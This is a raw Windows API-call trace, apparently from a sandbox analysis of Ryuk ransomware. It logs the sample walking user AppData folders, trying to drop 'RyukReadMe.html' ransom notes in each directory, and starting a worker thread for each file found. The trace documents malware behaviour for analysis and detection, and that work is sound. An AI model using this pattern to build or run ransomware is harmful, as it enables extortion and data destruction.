	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1
	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0210.530] SetLastError (dwErrCode=0x0) 
	[0210.530] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.530] GetLastError () returned 0x3
	[0210.531] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.531] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0210.532] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.532] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1
	[0210.532] SetLastError (dwErrCode=0x0) 
	[0210.532] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.532] GetLastError () returned 0x3
	[0210.532] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.533] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.533] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.533] SetLastError (dwErrCode=0x0) 
	[0210.533] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\erc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.533] GetLastError () returned 0x3
	[0210.533] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.533] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0210.533] SetLastError (dwErrCode=0x0) 
	[0210.533] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.533] GetLastError () returned 0x3
	[0210.533] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.534] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.534] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.534] SetLastError (dwErrCode=0x0) 
	[0210.534] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\reportarchive\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.534] GetLastError () returned 0x3
	[0210.534] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0210.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.534] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0
	[0210.534] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0210.566] SetLastError (dwErrCode=0x0) 
	[0210.566] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.566] GetLastError () returned 0x3
	[0210.566] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.566] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.567] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1
	[0210.567] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0
	[0210.567] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0210.567] SetLastError (dwErrCode=0x0) 
	[0210.567] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.567] GetLastError () returned 0x3
	[0210.567] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0210.567] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.568] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0210.568] SetLastError (dwErrCode=0x0) 
	[0210.568] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564
	[0210.568] GetLastError () returned 0xb7
	[0210.568] CloseHandle (hObject=0x564) returned 1
	[0210.569] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0210.877] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.877] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x200, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0210.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8c40000
	[0210.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604
	[0210.881] VirtualFree (lpAddress=0x8c40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.882] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x200, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0210.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8c40000
	[0210.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0210.993] VirtualFree (lpAddress=0x8c40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.994] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x200, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0210.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0210.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc
	[0210.997] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.997] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0210.997] SetLastError (dwErrCode=0x0) 
	[0210.997] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.998] GetLastError () returned 0x3
	[0210.998] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.998] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.998] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.998] SetLastError (dwErrCode=0x0) 
	[0210.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.998] GetLastError () returned 0x3
	[0210.998] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.998] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.998] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
	[0210.999] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0210.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600
	[0211.001] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.002] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0211.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0211.005] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.006] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x200, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0211.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0211.008] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
